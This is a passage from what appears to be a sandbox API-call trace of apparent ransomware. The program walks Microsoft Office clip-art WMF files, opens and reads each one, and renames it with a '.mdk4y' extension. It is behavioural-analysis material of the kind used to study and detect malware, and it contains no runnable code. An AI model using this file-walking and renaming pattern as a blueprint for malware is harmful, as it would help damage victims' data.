nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1daa, lpOverlapped=0x0) returned 1 [0164.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823959700000) returned 1 [0164.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823959700000) returned 1 [0164.368] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf.mdk4y")) returned 1 [0164.369] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.369] AreFileApisANSI () returned 1 [0164.369] GetACP () returned 0x4e4 [0164.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0230558.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0230558.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.369] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.370] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823960000000) returned 1 [0164.370] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1066, lpOverlapped=0x0) returned 1 [0164.428] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823965800000) returned 1 [0164.428] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823965800000) returned 1 [0164.428] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf.mdk4y")) returned 1 [0164.429] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.429] AreFileApisANSI () returned 1 [0164.429] GetACP () returned 0x4e4 [0164.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0232171.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0232171.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.430] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823966500000) returned 1 [0164.435] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x332a, lpOverlapped=0x0) returned 1 [0164.509] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823973900000) returned 1 [0164.509] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823973900000) returned 1 [0164.509] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf.mdk4y")) returned 1 [0164.510] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.510] AreFileApisANSI () returned 1 [0164.510] GetACP () returned 0x4e4 [0164.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0232393.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0232393.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.511] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.511] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823974100000) returned 1 [0164.511] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6bc2, lpOverlapped=0x0) returned 1 [0164.549] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823977900000) returned 1 [0164.549] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823977900000) returned 1 [0164.550] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf.mdk4y")) returned 1 [0164.551] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.551] AreFileApisANSI () returned 1 [0164.551] GetACP () returned 0x4e4 [0164.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0232395.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0232395.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.551] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.554] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823978400000) returned 1 [0164.554] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa086, lpOverlapped=0x0) returned 1 [0164.555] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823978500000) returned 1 [0164.555] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823978500000) returned 1 [0164.556] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf.mdk4y")) returned 1 [0164.557] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.557] AreFileApisANSI () returned 1 [0164.559] GetACP () returned 0x4e4 [0164.559] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0232795.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0232795.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.559] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823979000000) returned 1 [0164.560] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x380a, lpOverlapped=0x0) returned 1 [0164.561] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823979100000) returned 1 [0164.561] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823979100000) returned 1 [0164.562] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf.mdk4y")) returned 1 [0164.564] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.564] AreFileApisANSI () returned 1 [0164.564] GetACP () returned 0x4e4 [0164.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0232797.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0232797.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.564] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823979500000) returned 1 [0164.565] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x899c, lpOverlapped=0x0) returned 1 [0164.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823979600000) returned 1 [0164.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823979600000) returned 1 [0164.568] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf.mdk4y")) returned 1 [0164.569] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.569] AreFileApisANSI () returned 1 [0164.569] GetACP () returned 0x4e4 [0164.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0232803.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0232803.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.569] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.570] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823980000000) returned 1 [0164.570] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4de6, lpOverlapped=0x0) returned 1 [0164.579] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823980900000) returned 1 [0164.579] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823980900000) returned 1 [0164.581] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf.mdk4y")) returned 1 [0164.584] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.584] AreFileApisANSI () returned 1 [0164.584] GetACP () returned 0x4e4 [0164.584] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0233512.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0233512.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.584] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.585] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823981500000) returned 1 [0164.585] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x26e8, lpOverlapped=0x0) returned 1 [0164.601] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823983100000) returned 1 [0164.601] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823983100000) returned 1 [0164.601] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf.mdk4y")) returned 1 [0164.602] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.603] AreFileApisANSI () returned 1 [0164.603] GetACP () returned 0x4e4 [0164.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0233665.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0233665.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.603] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.604] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823983400000) returned 1 [0164.604] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x312c, lpOverlapped=0x0) returned 1 [0164.649] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823987900000) returned 1 [0164.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823987900000) returned 1 [0164.650] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf.mdk4y")) returned 1 [0164.651] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.651] AreFileApisANSI () returned 1 [0164.651] GetACP () returned 0x4e4 [0164.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0233992.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0233992.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.651] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823988200000) returned 1 [0164.652] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x975e, lpOverlapped=0x0) returned 1 [0164.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823988500000) returned 1 [0164.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823988500000) returned 1 [0164.656] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf.mdk4y")) returned 1 [0164.657] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.657] AreFileApisANSI () returned 1 [0164.657] GetACP () returned 0x4e4 [0164.657] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0234000.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0234000.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.658] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.658] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823988800000) returned 1 [0164.658] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcec6, lpOverlapped=0x0) returned 1 [0164.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823989100000) returned 1 [0164.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823989100000) returned 1 [0164.662] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf.mdk4y")) returned 1 [0164.663] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.663] AreFileApisANSI () returned 1 [0164.663] GetACP () returned 0x4e4 [0164.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0234001.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0234001.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.663] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823989400000) returned 1 [0164.664] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4b40, lpOverlapped=0x0) returned 1 [0164.673] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823990300000) returned 1 [0164.673] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823990300000) returned 1 [0164.673] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf.mdk4y")) returned 1 [0164.674] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.674] AreFileApisANSI () returned 1 [0164.674] GetACP () returned 0x4e4 [0164.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0234376.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0234376.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.675] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.676] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823990600000) returned 1 [0164.676] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x80d4, lpOverlapped=0x0) returned 1 [0164.677] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823990700000) returned 1 [0164.678] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823990800000) returned 1 [0164.678] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf.mdk4y")) returned 1 [0164.679] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.679] AreFileApisANSI () returned 1 [0164.679] GetACP () returned 0x4e4 [0164.679] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0237225.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0237225.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.679] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.680] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823991000000) returned 1 [0164.680] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcba0, lpOverlapped=0x0) returned 1 [0164.682] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823991200000) returned 1 [0164.682] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823991200000) returned 1 [0164.686] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft 